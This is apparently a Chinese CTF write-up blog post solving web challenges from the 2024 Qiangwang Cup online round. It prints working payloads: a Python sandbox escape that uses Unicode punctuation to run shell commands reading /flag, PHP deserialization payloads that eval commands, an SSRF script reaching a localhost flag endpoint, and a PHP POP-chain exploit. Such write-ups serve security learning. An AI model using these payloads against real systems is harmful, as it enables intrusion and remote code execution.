2024 第八届强网杯线上赛Web Writeup

p0l1st Lv1

PyBlockly

python沙箱逃逸,关键是过滤了很多符号,但是使用了unicode.unicode,可以把unicode字符转换成最相似的ASCII字符,使用中文符号绕过即可

先来查看根目录

1
‘;__import__(”builtins”)。len=lambda p:0;’‘;__import__(”os”)。system(”ls -al /”);’

image-20241103223850756

发现flag只有root用户可以读取,那我们可以使用dd if直接读取flag文件

1
‘;__import__(”builtins”)。len=lambda p:0;’‘;__import__(”os”)。system(”dd if=/flag”);’

image-20241103223754194

platform

扫一下后台得到www.zip

看了一下class.php里面的内容,猜测是一个session反序列化逃逸。

image-20241103173222772

image-20241103173032283

在本地搭建一个环境看一下。

随便注册一个用户登陆进去之后,会生成一个sess_xxxxx的文件 并且这个key是随机的,我们并不能确定。

image-20241103173430392

image-20241103173952232

我们需要利用这个去执行命令,先生成一个phpinfo的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class notouchitsclass {
public $data;

public function __construct($data) {
$this->data = $data;
}

public function __destruct() {
eval($this->data);
}
}
echo serialize(new notouchitsclass('phpinfo();'));
?>

image-20241103174039696

然后将password那地方给替换掉。

image-20241103174105394

刷新可以看到执行了phpinfo,那么思路猜测的是正确的,我们需要去进行逃逸,将session_key和password都吃掉,生成一个新的我们构造的password.

image-20241103174233912

命令执行我们用echo ``

username我们传入 execexecexecexecexecexecexecexecexecexecexecexecexecexecexecexecexec

password我们传入

1
";password|O:15:"notouchitsclass":1:{s:4:"data";s:12:"echo `ls /`;";}

因为这个key我们无法预测,可以bp一直跑。

image-20241103180526528

image-20241103180536998

1
";password|O:15:"notouchitsclass":1:{s:4:"data";s:23:"echo `ls /;./readflag`;";}

image-20241103180816818

xiaohuanxiong

扫描admin的二级目录

image-20241102235056505

访问/admin/authors

image-20241102235224844

然后修改管理员密码

image-20241102235157267

47bb1842b6

登录后支付设置直接写入命令

image-20241102235404492

访问拿到flag

image-20241102235439049

snake

进去之后输入username,然后是一个贪吃蛇的,速度挺快的,扫目录也没得到啥,应该是要到达一定的分数,把game.js给ai拷打一下。

image-20241103213845717

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import requests
import json
from heapq import heappop, heappush

current_direction = "RIGHT"
last_direction = "RIGHT"

direction_map = {
"UP": "DOWN",
"DOWN": "UP",
"LEFT": "RIGHT",
"RIGHT": "LEFT"
}

def heuristic(a, b):
return abs(a[0] - b[0]) + abs(a[1] - b[1])

def a_star_search(start, goal, grid_size, snake):
open_set = []
heappush(open_set, (0, start))
came_from = {}
g_score = {start: 0}
f_score = {start: heuristic(start, goal)}

while open_set:
_, current = heappop(open_set)

if current == goal:
path = []
while current in came_from:
path.append(current)
current = came_from[current]
path.reverse()
return path

for dx, dy in [(0, -1), (0, 1), (-1, 0), (1, 0)]:
neighbor = (current[0] + dx, current[1] + dy)
if 0 <= neighbor[0] < grid_size and 0 <= neighbor[1] < grid_size and neighbor not in snake:
tentative_g_score = g_score[current] + 1
if neighbor not in g_score or tentative_g_score < g_score[neighbor]:
came_from[neighbor] = current
g_score[neighbor] = tentative_g_score
f_score[neighbor] = tentative_g_score + heuristic(neighbor, goal)
heappush(open_set, (f_score[neighbor], neighbor))

return []

def get_next_direction(snake, food, grid_size):
global current_direction, last_direction

head_x, head_y = snake[0]['x'], snake[0]['y']
food_x, food_y = food[0], food[1]

path = a_star_search((head_x, head_y), (food_x, food_y), grid_size, [(seg['x'], seg['y']) for seg in snake])

if path:
next_x, next_y = path[0]
if next_x > head_x:
return "RIGHT"
elif next_x < head_x:
return "LEFT"
elif next_y > head_y:
return "DOWN"
elif next_y < head_y:
return "UP"
else:
possible_directions = ["UP", "DOWN", "LEFT", "RIGHT"]
possible_directions.remove(direction_map[current_direction])
return possible_directions[0]

url = "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/move"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0",
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
"Content-Type": "application/json",
"Origin": "http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/",
"Connection": "close",
"Cookie": "session=eyJ1c2VybmFtZSI6IjEifQ.ZydYYQ.y4ThT_rofnb2wUqbhAdL-57DLLU",
"Priority": "u=4"
}
proxies = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}

def main():
global current_direction, last_direction

while True:
try:
response = requests.post(url, headers=headers, data=json.dumps({"direction": current_direction}), proxies=proxies)

if response.status_code == 200:
game_data = json.loads(response.text)

if 'status' in game_data:
if game_data['status'] == 'game_over':
print("Game Over!")
print("Final Score:", game_data.get('score', 'Score not provided'))
break
elif game_data['status'] == 'win':
print("Congratulations! You win!")
print("Final Score:", game_data.get('score', 'Score not provided'))

score = game_data.get('score', 0)
if score >= 50:
burp_url = "http://127.0.0.1:8080/some_endpoint"
burp_response = requests.post(burp_url, json=game_data)
print("Data sent to Burp:", burp_response.status_code)

food = game_data.get('food', [])
snake = [{'x': segment[0], 'y': segment[1]} for segment in game_data.get('snake', [])]
grid_size = game_data.get('grid_size', 20)

print("Food:", food)
print("Snake:", snake)
print("Current Score:", score)

if food and snake:
next_direction = get_next_direction(snake, food, grid_size)
current_direction = next_direction
else:
print(f"Request failed with status code: {response.status_code}")
print("Response Body:", response.text)
break
except requests.exceptions.RequestException as e:
print(f"Request error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except json.JSONDecodeError as e:
print(f"JSON decode error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except KeyError as e:
print(f"Key error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break
except Exception as e:
print(f"Unexpected error: {e}")
print("Response Body:", response.text if 'response' in locals() else "No response")
break

if __name__ == "__main__":
main()

这里的话加一个代理,使得每次发包的流量都经过bp,方便后续查看状态。

image-20241103214907887

image-20241103214136787

这里跑的话要多跑几次。

image-20241103214931885

可以看到赢得比赛之后出现一个路由 我们去访问。

image-20241103215007722

经过测试发现这是一个sql注入。

image-20241103215112767

image-20241103215058598

这里字段很明显了,就是三,也就是time这个字段,但是数据库也没爆出来。

后面测试发现这就是一个ssti.

image-20241103215458923

这里的话 记得用url编码一下

image-20241103215602542

image-20241103215628739

proxy

审计源码发现通过/v2/api/proxy访问/v1/api/flag就行,但是从proxy.conf中发现需要访问http://localhost:8769/v1/api/flag

image-20241103102724680

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import json

def get_flag_via_proxy():
# 定义代理请求的 URL
proxy_url = "http://47.94.226.70:36891/v2/api/proxy" # 替换为你的代理服务器地址

# 定义请求头
headers = {
"Content-Type": "application/json"
}

# 设置请求数据,通过 /v2/api/proxy 访问 /v1/api/flag
data = {
"url": "http://localhost:8769/v1/api/flag", # 代理到 localhost:8769
"method": "POST", # 确保使用正确的请求方法
"body": "", # 如果需要请求体,填入相应内容
"headers": {
"Content-Type": "application/json"
# 添加其他必要的请求头,例如身份验证头
},
"follow_redirects": False
}

try:
# 发送请求到代理端点
response = requests.post(proxy_url, headers=headers, data=json.dumps(data))

# 检查响应状态码
if response.status_code == 200:
# 提取并打印 flag
flag = response.json().get("flag")
print("Flag:", flag.decode('utf-8') if isinstance(flag, bytes) else flag)
else:
print(f"Error: Received status code {response.status_code}")
print("Response:", response.text)
except requests.RequestException as e:
print("Request failed:", e)

# 执行脚本
get_flag_via_proxy()

image-20241103102831848

base64解码得到flag

image-20241103102846517

Password Game

在game.php这个地方进行抓包,来满足3条规则。

image-20241103182838531

这个满足三条规则即可。

满足条件之后就会输出一段反序列化的代码。

image-20241103183324307

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
include ('flag.php');
highlight_file(__FILE__);
function filter($password){
$filter_arr = array("admin","2024qwb");
$filter = '/'.implode("|",$filter_arr).'/i';
return preg_replace($filter,"nonono",$password);
}

class guest{
public $username;
public $value;
public function __tostring(){
if($this->username=="guest"){
$value();
}
return $this->username;
}

public function __call($key,$value){
if($this->username==md5($GLOBALS["flag"])){
echo $GLOBALS["flag"];
}
}
}
class root{
public $username;
public $value;
public function __get($key){
if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
$this->value = $GLOBALS["flag"];
echo md5("hello:".$this->value);
}
}
}
class user{
public $username;
public $password;
public $value;
public function __invoke(){
$this->username=md5($GLOBALS["flag"]);
return $this->password->guess();
}
public function __destruct(){
if(strpos($this->username, "admin") == 0 ){
echo "hello".$this->username;
}
}
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
echo "hello!";
}

flag是全局变量,需要将其echo出来。

整体思路就是利用引用,在root类里面定义一个不存在的属性,然后将其和user里面的value进行引用 触发get魔术方法。

image-20241103185702410

这个地方会echo出username,也就是$this->value = $GLOBALS[“flag”]; 这个地方。

先在本地测试一下:

image-20241103190111605

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class guest
{
public $username;
public $value;
}
class root{
public $username;
public $fs;
public $value;
}
class user{
public $username;
public $password;
public $value;

}
$a = new root();
$a->username = "qwb";
$a->value = 2024;
$b=new user();
$a->fs = $b;
$a->fs ->username = &$a->value;
$a->fs ->password = "Aa123";
echo serialize($a);
#O:4:"root":3:{s:8:"username";s:3:"qwb";s:2:"fs";O:4:"user":3:{s:8:"username";i:2024;s:8:"password";s:5:"Aa123";s:5:"value";N;}s:5:"value";R:4;}

发现是可以的。

后面反序列化的数字总和仍然需要满足那三个规则,这里改的话主要是改password,慢慢计算即可。

image-20241103190450800

image-20241103190655532

最后那个地方得满足前两个条件。

这里修改一下。

image-20241103190820703

image-20241103190958516

  • Title: 2024 第八届强网杯线上赛Web Writeup
  • Author: p0l1st
  • Created at : 2024-11-04 10:38:00
  • Updated at : 2024-11-04 10:49:46
  • Link: https://blog.p0l1st.top/2024/11/04/2024-第八届强网杯线上赛Web-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
2024 第八届强网杯线上赛Web Writeup